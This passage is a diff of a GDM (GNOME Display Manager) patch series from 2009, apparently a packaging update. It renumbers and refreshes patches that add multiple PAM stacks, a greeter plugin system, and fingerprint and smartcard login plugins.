+@@ -2285,7 +2285,6 @@ gdm_session_direct_close (GdmSession *session)
+ 
+         g_hash_table_remove_all (impl->priv->environment);
+ 
+-        impl->priv->session_pid = -1;
+         impl->priv->is_running = FALSE;
+ }
+ 
+-- 
+1.6.5.1
+
+
+From d5d86aeda45e249d12ea5d708aab78afdfe66053 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 9 Mar 2009 15:41:12 -0400
-Subject: [PATCH 26/48] Don't tear down greeter until pam_open_session finishes
+Subject: [PATCH 30/53] Don't tear down greeter until pam_open_session finishes
 
 Some PAM modules ask questions at that late stage of the game,
 and so we need a greeter to forward the questions on to the
@@ -6801,7 +6859,7 @@ index dd2e1bc..93d83a1 100644
                            "info",
                            G_CALLBACK (on_session_info),
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index f44c88c..b74c765 100644
+index e0b5f32..738267a 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
 @@ -940,6 +940,58 @@ gdm_session_direct_handle_problem (GdmSessionDirect *session,
@@ -6874,7 +6932,7 @@ index f44c88c..b74c765 100644
          } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "SessionStarted")) {
                  return gdm_session_direct_handle_session_started (session, conversation, message);
          } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "StartFailed")) {
-@@ -2187,6 +2243,19 @@ setup_session_environment (GdmSessionDirect *session)
+@@ -2189,6 +2245,19 @@ setup_session_environment (GdmSessionDirect *session)
  }
  
  static void
@@ -6894,7 +6952,7 @@ index f44c88c..b74c765 100644
  gdm_session_direct_start_session (GdmSession *session,
                                    const char *service_name)
  {
-@@ -2662,6 +2731,7 @@ gdm_session_iface_init (GdmSessionIface *iface)
+@@ -2663,6 +2732,7 @@ gdm_session_iface_init (GdmSessionIface *iface)
          iface->authenticate = gdm_session_direct_authenticate;
          iface->authorize = gdm_session_direct_authorize;
          iface->accredit = gdm_session_direct_accredit;
@@ -7246,13 +7304,13 @@ index 6eadf62..4c68974 100644
                            G_CALLBACK (on_session_info),
                            slave);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 7d76484539ab0f1352d6b4c14511a330798ca1a1 Mon Sep 17 00:00:00 2001
+From 4a07cc03227aa51b31de8e453d54104cc6fe913b Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 30 Jan 2009 23:57:31 -0500
-Subject: [PATCH 27/48] Add limited support for multiple pam stacks
+Subject: [PATCH 31/53] Add limited support for multiple pam stacks
 
 This hard codes 3 pam stacks and doesn't handle
 switching between them very well yet.
@@ -8003,13 +8061,13 @@ index 0000000..ade21b6
 +
 +#endif /* __GDM_TASK_LIST_H */
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 3dbbff5c47bb30e4c9087a855a7e1304962e8e2b Mon Sep 17 00:00:00 2001
+From 60a24b25f8e225b5549154581500c32b0a1d0575 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Mar 2009 11:19:40 -0500
-Subject: [PATCH 28/48] Create session settings object when first starting worker
+Subject: [PATCH 32/53] Create session settings object when first starting worker
 
 This is because one PAM module may complete before setup
 gets called on another, and when one completes *all* PAM
@@ -8041,13 +8099,13 @@ index 867ce67..9a9f364 100644
  
  static void
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 503324a841febee037ba8a91e47f1bc9c9278241 Mon Sep 17 00:00:00 2001
+From 68083faad5647737421a1a6e922812e9368d839a Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 5 Feb 2009 15:20:25 -0500
-Subject: [PATCH 29/48] Queue a greeter reset when the user clicks cancel
+Subject: [PATCH 33/53] Queue a greeter reset when the user clicks cancel
 
 ---
  daemon/gdm-simple-slave.c |   37 +++++++++++++++++++++++++++++++++++++
@@ -8180,13 +8238,13 @@ index 4c68974..337718b 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From fc7ff7b156213d86afd4ebd7651e2f0657759030 Mon Sep 17 00:00:00 2001
+From 1e91c1fef9d7308888143ffcf7358dc85e2c84e7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:23:48 -0500
-Subject: [PATCH 30/48] Add a plugin based extension system to greeter
+Subject: [PATCH 34/53] Add a plugin based extension system to greeter
 
 This allows plugins to drive which PAM conversations
 get run.  This commit just adds one plugin "password"
@@ -8197,7 +8255,7 @@ run.
  gui/simple-greeter/Makefile.am                     |   15 +
  gui/simple-greeter/gdm-greeter-client.c            |   21 +
  gui/simple-greeter/gdm-greeter-client.h            |    2 +
- gui/simple-greeter/gdm-greeter-login-window.c      |  679 ++++++++++++++++----
+ gui/simple-greeter/gdm-greeter-login-window.c      |  675 ++++++++++++++++----
  gui/simple-greeter/gdm-greeter-login-window.glade  |  144 +----
  gui/simple-greeter/gdm-greeter-login-window.h      |   21 +-
  gui/simple-greeter/gdm-greeter-plugin.c            |  255 ++++++++
@@ -8223,7 +8281,7 @@ run.
  gui/simple-greeter/plugins/password/page.ui        |   56 ++
  gui/simple-greeter/plugins/password/plugin.c       |   40 ++
  po/POTFILES.in                                     |    1 +
- 30 files changed, 2991 insertions(+), 297 deletions(-)
+ 30 files changed, 2986 insertions(+), 298 deletions(-)
  create mode 100644 gui/simple-greeter/gdm-greeter-plugin.c
  create mode 100644 gui/simple-greeter/gdm-greeter-plugin.h
  create mode 100644 gui/simple-greeter/gdm-plugin-manager.c
@@ -8462,7 +8520,7 @@ index 2f857dc..f879307 100644
          void (* selected_user_changed)   (GdmGreeterClient  *client,
                                            const char        *username);
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 82411d1..7853094 100644
+index 82411d1..c12d6f2 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -1,7 +1,7 @@
@@ -8714,26 +8772,29 @@ index 82411d1..7853094 100644
                  default_name = "log-in-button";
                  break;
          default:
-@@ -509,24 +588,45 @@ switch_mode (GdmGreeterLoginWindow *login_window,
+@@ -508,25 +587,40 @@ switch_mode (GdmGreeterLoginWindow *login_window,
+         }
  }
  
- static void
+-static void
 -delete_entry_text (GtkWidget *entry)
-+do_disconnect (GdmGreeterLoginWindow *login_window)
-+{
-+        gtk_main_quit ();
-+}
-+
 +static gboolean
 +task_has_service_name (GdmTaskList *task_list,
 +                       GdmTask     *task,
 +                       const char  *service_name)
-+{
+ {
+-        const char *typed_text;
+-        char       *null_text;
 +        char *task_service_name;
 +        gboolean has_service_name;
 +
 +        task_service_name = gdm_conversation_get_service_name (GDM_CONVERSATION (task));
-+
+ 
+-        /* try to scrub out any secret info */
+-        typed_text = gtk_entry_get_text (GTK_ENTRY (entry));
+-        null_text = g_strnfill (strlen (typed_text) + 1, '\b');
+-        gtk_entry_set_text (GTK_ENTRY (entry), null_text);
+-        gtk_entry_set_text (GTK_ENTRY (entry), "");
 +        has_service_name = strcmp (service_name, task_service_name) == 0;
 +        g_free (task_service_name);
 +
@@ -8744,20 +8805,13 @@ index 82411d1..7853094 100644
 +reset_task (GdmTaskList           *task_list,
 +            GdmTask               *task,
 +            GdmGreeterLoginWindow *login_window)
- {
--        const char *typed_text;
--        char       *null_text;
++{
 +        char *name;
 +
 +        name = gdm_task_get_name (task);
 +        g_debug ("Resetting task '%s'", name);
 +        g_free (name);
- 
--        /* try to scrub out any secret info */
--        typed_text = gtk_entry_get_text (GTK_ENTRY (entry));
--        null_text = g_strnfill (strlen (typed_text) + 1, '\b');
--        gtk_entry_set_text (GTK_ENTRY (entry), null_text);
--        gtk_entry_set_text (GTK_ENTRY (entry), "");
++
 +        gdm_conversation_reset (GDM_CONVERSATION (task));
 +        return FALSE;
  }
@@ -8771,7 +8825,7 @@ index 82411d1..7853094 100644
          g_debug ("GdmGreeterLoginWindow: Resetting dialog");
          set_busy (login_window);
          set_sensitive (login_window, FALSE);
-@@ -550,16 +650,12 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
+@@ -550,16 +644,12 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
                  login_window->priv->start_session_handler_id = 0;
          }
  
@@ -8792,7 +8846,7 @@ index 82411d1..7853094 100644
          switch_mode (login_window, MODE_SELECTION);
  
          set_sensitive (login_window, TRUE);
-@@ -583,11 +679,22 @@ do_cancel (GdmGreeterLoginWindow *login_window)
+@@ -583,11 +673,22 @@ do_cancel (GdmGreeterLoginWindow *login_window)
  }
  
  gboolean
@@ -8817,7 +8871,7 @@ index 82411d1..7853094 100644
  
          set_sensitive (GDM_GREETER_LOGIN_WINDOW (login_window), TRUE);
          set_ready (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -597,12 +704,63 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window)
+@@ -597,12 +698,63 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window)
  }
  
  gboolean
@@ -8882,7 +8936,7 @@ index 82411d1..7853094 100644
          return TRUE;
  }
  
-@@ -611,12 +769,20 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
+@@ -611,12 +763,20 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
                                 const char            *service_name,
                                 const char            *text)
  {
@@ -8906,7 +8960,7 @@ index 82411d1..7853094 100644
          }
  
          return TRUE;
-@@ -627,13 +793,22 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
+@@ -627,13 +787,22 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
                                    const char            *service_name,
                                    const char            *text)
  {
@@ -8932,7 +8986,7 @@ index 82411d1..7853094 100644
          gdk_window_beep (GTK_WIDGET (login_window)->window);
  
          return TRUE;
-@@ -671,11 +846,21 @@ gdm_greeter_login_window_request_timed_login (GdmGreeterLoginWindow *login_windo
+@@ -671,11 +840,21 @@ gdm_greeter_login_window_request_timed_login (GdmGreeterLoginWindow *login_windo
  }
  
  static void
@@ -8956,7 +9010,7 @@ index 82411d1..7853094 100644
          } else {
                  g_debug ("GdmGreeterLoginWindow: not starting session since "
                           "user hasn't had an opportunity to pick language "
-@@ -685,8 +870,8 @@ gdm_greeter_login_window_start_session_when_ready (GdmGreeterLoginWindow *login_
+@@ -685,8 +864,8 @@ gdm_greeter_login_window_start_session_when_ready (GdmGreeterLoginWindow *login_
                   */
                  login_window->priv->start_session_handler_id =
                      g_signal_connect (login_window, "notify::is-interactive",
@@ -8967,7 +9021,7 @@ index 82411d1..7853094 100644
  
                  /* FIXME: If the user wasn't asked any questions by pam but
                   * pam still authorized them (passwd -d, or the questions got
-@@ -712,26 +897,24 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
+@@ -712,26 +891,24 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
                                       const char            *service_name,
                                       const char            *text)
  {
@@ -9005,7 +9059,7 @@ index 82411d1..7853094 100644
          set_sensitive (GDM_GREETER_LOGIN_WINDOW (login_window), TRUE);
          set_ready (GDM_GREETER_LOGIN_WINDOW (login_window));
          set_focus (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -746,20 +929,23 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
+@@ -746,20 +923,23 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
                                              const char            *service_name,
                                              const char            *text)
  {
@@ -9038,7 +9092,7 @@ index 82411d1..7853094 100644
          set_sensitive (GDM_GREETER_LOGIN_WINDOW (login_window), TRUE);
          set_ready (GDM_GREETER_LOGIN_WINDOW (login_window));
          set_focus (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -770,13 +956,16 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
+@@ -770,13 +950,16 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
  }
  
  void
@@ -9058,7 +9112,7 @@ index 82411d1..7853094 100644
  }
  
  static void
-@@ -859,6 +1048,46 @@ on_users_loaded (GdmUserChooserWidget  *user_chooser,
+@@ -859,6 +1042,46 @@ on_users_loaded (GdmUserChooserWidget  *user_chooser,
          gdm_chooser_widget_activate_if_one_item (GDM_CHOOSER_WIDGET (login_window->priv->user_chooser));
  }
  
@@ -9105,7 +9159,7 @@ index 82411d1..7853094 100644
  static void
  on_user_chosen (GdmUserChooserWidget  *user_chooser,
                  GdmGreeterLoginWindow *login_window)
-@@ -876,10 +1105,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
+@@ -876,10 +1099,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
                         0, user_name);
  
          if (strcmp (user_name, GDM_USER_CHOOSER_USER_OTHER) == 0) {
@@ -9120,7 +9174,7 @@ index 82411d1..7853094 100644
          } else if (strcmp (user_name, GDM_USER_CHOOSER_USER_GUEST) == 0) {
                  /* FIXME: handle guest account stuff */
          } else if (strcmp (user_name, GDM_USER_CHOOSER_USER_AUTO) == 0) {
-@@ -893,10 +1122,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
+@@ -893,10 +1116,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
          } else {
@@ -9135,7 +9189,7 @@ index 82411d1..7853094 100644
          }
  
          switch_mode (login_window, MODE_AUTHENTICATION);
-@@ -1042,17 +1271,65 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
+@@ -1042,17 +1265,65 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
  
  static void
  on_task_activated (GdmGreeterLoginWindow *login_window,
@@ -9206,7 +9260,7 @@ index 82411d1..7853094 100644
  }
  
  static GtkWidget *
-@@ -1089,7 +1366,6 @@ custom_widget_constructor (GladeXML              *xml,
+@@ -1089,7 +1360,6 @@ custom_widget_constructor (GladeXML              *xml,
  static void
  load_theme (GdmGreeterLoginWindow *login_window)
  {
@@ -9214,7 +9268,7 @@ index 82411d1..7853094 100644
          GtkWidget *button;
          GtkWidget *box;
          GtkWidget *image;
-@@ -1169,27 +1445,13 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1169,27 +1439,13 @@ load_theme (GdmGreeterLoginWindow *login_window)
                                    login_window);
          gtk_widget_show (login_window->priv->conversation_list);
  
@@ -9243,7 +9297,7 @@ index 82411d1..7853094 100644
          create_computer_info (login_window);
  
          box = glade_xml_get_widget (login_window->priv->xml, "computer-info-event-box");
-@@ -1431,9 +1693,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
+@@ -1431,9 +1687,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
                                G_STRUCT_OFFSET (GdmGreeterLoginWindowClass, start_session),
                                NULL,
                                NULL,
@@ -9255,7 +9309,7 @@ index 82411d1..7853094 100644
  
          g_object_class_install_property (object_class,
                                           PROP_DISPLAY_IS_LOCAL,
-@@ -1486,6 +1748,187 @@ on_gconf_key_changed (GConfClient           *client,
+@@ -1486,6 +1742,187 @@ on_gconf_key_changed (GConfClient           *client,
          }
  }
  
@@ -12377,23 +12431,23 @@ index 9fb8a48..3963bd6 100644
  gui/user-switch-applet/gdm-entry-menu-item.c
  gui/user-switch-applet/GNOME_FastUserSwitchApplet.server.in.in
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From d1e3b2fdc823978aee78d9ae95d6a9f87b863468 Mon Sep 17 00:00:00 2001
+From 35d7721af1d7718418616e15023487cb895d96e5 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 21:17:49 -0500
-Subject: [PATCH 31/48] Force session reset if all PAM conversations fail
+Subject: [PATCH 35/53] Force session reset if all PAM conversations fail
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   22 +++++++++++++++++++---
  1 files changed, 19 insertions(+), 3 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 7853094..fb64a4a 100644
+index c12d6f2..37f0c40 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -669,15 +669,21 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
+@@ -663,15 +663,21 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
  }
  
  static void
@@ -12418,7 +12472,7 @@ index 7853094..fb64a4a 100644
  gboolean
  gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
                                  const char            *service_name)
-@@ -785,6 +791,16 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
+@@ -717,6 +723,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
                  g_object_unref (task);
          }
  
@@ -12436,13 +12490,13 @@ index 7853094..fb64a4a 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From dfcd88875919a557296439ebdfecaabf78649665 Mon Sep 17 00:00:00 2001
+From 20b4038bef56b0e6d0db25992c5210fd38d01d4e Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 18 Feb 2009 12:32:39 -0500
-Subject: [PATCH 32/48] Add a way for plugins to pick users from list
+Subject: [PATCH 36/53] Add a way for plugins to pick users from list
 
 The smartcard plugin is going to want to
 start its conversation as soon as the card
@@ -12454,10 +12508,10 @@ gets plugged in.
  3 files changed, 74 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index fb64a4a..799603e 100644
+index 37f0c40..cb65be6 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1783,6 +1783,34 @@ on_conversation_answer (GdmGreeterLoginWindow *login_window,
+@@ -1777,6 +1777,34 @@ on_conversation_answer (GdmGreeterLoginWindow *login_window,
          set_ready (login_window);
  }
  
@@ -12492,7 +12546,7 @@ index fb64a4a..799603e 100644
  void
  gdm_greeter_login_window_remove_extension (GdmGreeterLoginWindow *login_window,
   GdmGreeterExtension *extension)
-@@ -1920,6 +1948,14 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -1914,6 +1942,14 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
                                    "answer",
                                    G_CALLBACK (on_conversation_answer),
                                    login_window);
@@ -12593,13 +12647,13 @@ index f1910cf..fb4bf49 100644
  G_END_DECLS
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 39b4c1f3dd70b023c183b2d41bd39f483f61f991 Mon Sep 17 00:00:00 2001
+From 9e33e5d7726c70973a5e616c8e533bafa23cfd64 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:05:20 -0500
-Subject: [PATCH 33/48] Add new api to ask when chooser widget is done loading items
+Subject: [PATCH 37/53] Add new api to ask when chooser widget is done loading items
 
 ---
  gui/simple-greeter/gdm-chooser-widget.c |    9 +++++++++
@@ -12649,13 +12703,13 @@ index 7e3e59c..6a07843 100644
   */
  void           gdm_chooser_widget_loaded                       (GdmChooserWidget          *widget);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 20ee7a297a032e2c977045d011c6d99fdff0da66 Mon Sep 17 00:00:00 2001
+From 6b5f0a616b4095b66733065f0f1802633f0ec107 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:31:27 -0500
-Subject: [PATCH 34/48] Tell tasks they're ready only after user list loads
+Subject: [PATCH 38/53] Tell tasks they're ready only after user list loads
 
 This way they won't try to access the list prematurely.
 ---
@@ -12663,10 +12717,10 @@ This way they won't try to access the li
  1 files changed, 27 insertions(+), 1 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 799603e..58625b3 100644
+index cb65be6..e316174 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -684,6 +684,27 @@ do_cancel (GdmGreeterLoginWindow *login_window)
+@@ -678,6 +678,27 @@ do_cancel (GdmGreeterLoginWindow *login_window)
          restart_conversations (login_window);
  }
  
@@ -12694,7 +12748,7 @@ index 799603e..58625b3 100644
  gboolean
  gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
                                  const char            *service_name)
-@@ -698,7 +719,12 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
+@@ -692,7 +713,12 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
                                             (gpointer) service_name);
  
          if (task != NULL) {
@@ -12709,13 +12763,13 @@ index 799603e..58625b3 100644
          }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 5f1fdf2186b4bebbf8218c3ca08bd716c0767087 Mon Sep 17 00:00:00 2001
+From 402aeac71a440e00144a57dc99f99e5a47fde286 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:25:47 -0500
-Subject: [PATCH 35/48] Add fingerprint plugin
+Subject: [PATCH 39/53] Add fingerprint plugin
 
 This commit adds a plugin to initiate a conversation for
 fingerprint scans.
@@ -13354,13 +13408,13 @@ index 0000000..5ea9925
 +        return GDM_GREETER_EXTENSION (extension);
 +}
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 8e46ce389a9fb76a0808e170f10d33af677ad9f8 Mon Sep 17 00:00:00 2001
+From 10ffdab61f62aa4ec68ff1c6cda99b3d27dec796 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 11 Feb 2009 08:47:52 -0500
-Subject: [PATCH 36/48] Add start of a smartcard plugin
+Subject: [PATCH 40/53] Add start of a smartcard plugin
 
 It contains a copy and paste of an old RHEL patch
 I did a few years ago.
@@ -16634,13 +16688,13 @@ index 3963bd6..4d219fb 100644
  gui/user-switch-applet/gdm-entry-menu-item.c
  gui/user-switch-applet/GNOME_FastUserSwitchApplet.server.in.in
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From bd66f351d61a9cce64c3843d2b55055c1dc44853 Mon Sep 17 00:00:00 2001
+From 393c0519bc2d08420c2b19b6e513909d1199b8b7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 23 Feb 2009 17:57:06 -0500
-Subject: [PATCH 37/48] Add a new "choosable" property to show tasks in user list
+Subject: [PATCH 41/53] Add a new "choosable" property to show tasks in user list
 
 Useful for Smartcard and some future "Guest" account plugin
 ---
@@ -16653,10 +16707,10 @@ Useful for Smartcard and some future "Gu
  6 files changed, 39 insertions(+), 3 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 58625b3..e095b4e 100644
+index e316174..a43a462 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1989,9 +1989,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -1983,9 +1983,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
          g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' added",
                  name, description);
  
@@ -16666,7 +16720,7 @@ index 58625b3..e095b4e 100644
          if (gdm_task_list_get_number_of_tasks (GDM_TASK_LIST (login_window->priv->conversation_list)) == 0) {
                  gtk_widget_hide (login_window->priv->conversation_list);
          } else {
-@@ -2002,6 +1999,16 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -1996,6 +1993,16 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
                                  GDM_TASK (extension));
  
          service_name = gdm_conversation_get_service_name (GDM_CONVERSATION (extension));
@@ -16793,13 +16847,13 @@ index 6fa01fb..25d5de4 100644
  
  static void
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 669e4eb5c9afc0d08e2e5fdc95f9c84ab1d23335 Mon Sep 17 00:00:00 2001
+From 80d3f5efa1946fba373d7bb1aa6d86747f0c6c86 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 24 Feb 2009 15:12:35 -0500
-Subject: [PATCH 38/48] Separate handling of non-users in user list from users
+Subject: [PATCH 42/53] Separate handling of non-users in user list from users
 
 Now get_chosen_user returns NULL if the activated item
 wasn't a user.  We also separate the handling of on item
@@ -16814,10 +16868,10 @@ added items.
  3 files changed, 56 insertions(+), 22 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index e095b4e..697189a 100644
+index a43a462..23ced52 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1131,29 +1131,49 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
+@@ -1125,29 +1125,49 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
  }
  
  static void
@@ -16878,7 +16932,7 @@ index e095b4e..697189a 100644
                  g_signal_emit (login_window, signals[BEGIN_AUTO_LOGIN], 0,
                                 login_window->priv->timed_login_username);
  
-@@ -1163,16 +1183,11 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
+@@ -1157,16 +1177,11 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
                  /* just wait for the user to select language and stuff */
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
@@ -16897,7 +16951,7 @@ index e095b4e..697189a 100644
  }
  
  static void
-@@ -1461,7 +1476,7 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1455,7 +1470,7 @@ load_theme (GdmGreeterLoginWindow *login_window)
                            login_window);
          g_signal_connect (login_window->priv->user_chooser,
                            "activated",
@@ -16907,7 +16961,7 @@ index e095b4e..697189a 100644
          g_signal_connect (login_window->priv->user_chooser,
                            "deactivated",
 diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
-index 167e324..75cf7ed 100644
+index 77e06a7..bff71e5 100644
 --- a/gui/simple-greeter/gdm-user-chooser-widget.c
 +++ b/gui/simple-greeter/gdm-user-chooser-widget.c
 @@ -269,9 +269,30 @@ gdm_user_chooser_widget_set_show_user_auto (GdmUserChooserWidget *widget,
@@ -16956,13 +17010,13 @@ index 7aa99e7..316ef46 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 1a9d81b937e0017749537cb71b5ea70dcc179c07 Mon Sep 17 00:00:00 2001
+From 14b7d7bc52e270c7bbb1a25d128fe96d91cd20c7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 27 Feb 2009 15:44:13 -0500
-Subject: [PATCH 39/48] Initiate smart card auth when clicking on it in list
+Subject: [PATCH 43/53] Initiate smart card auth when clicking on it in list
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c      |   24 ++++++++++++++++++++
@@ -16970,10 +17024,10 @@ Subject: [PATCH 39/48] Initiate smart ca
  2 files changed, 25 insertions(+), 1 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 697189a..661023f 100644
+index 23ced52..af21af3 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -658,6 +658,7 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
+@@ -652,6 +652,7 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
          set_message (login_window, "");
          switch_mode (login_window, MODE_SELECTION);
  
@@ -16981,7 +17035,7 @@ index 697189a..661023f 100644
          set_sensitive (login_window, TRUE);
          set_ready (login_window);
          set_focus (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -1151,6 +1152,7 @@ static void
+@@ -1145,6 +1146,7 @@ static void
  on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                             GdmGreeterLoginWindow *login_window)
  {
@@ -16989,7 +17043,7 @@ index 697189a..661023f 100644
          char *item_id;
  
          user_name = gdm_user_chooser_widget_get_chosen_user_name (GDM_USER_CHOOSER_WIDGET (login_window->priv->user_chooser));
-@@ -1184,6 +1186,28 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1178,6 +1180,28 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
                  g_free (item_id);
@@ -17032,13 +17086,13 @@ index 25d5de4..a9e41f4 100644
                          gdm_conversation_cancel (GDM_CONVERSATION (extension));
                  }
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 8dafa2ee4d4c0cbb1084799842fcebcdafc598d6 Mon Sep 17 00:00:00 2001
+From 634e1d954b2ed35126ca87861ffdbeffedb5397f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
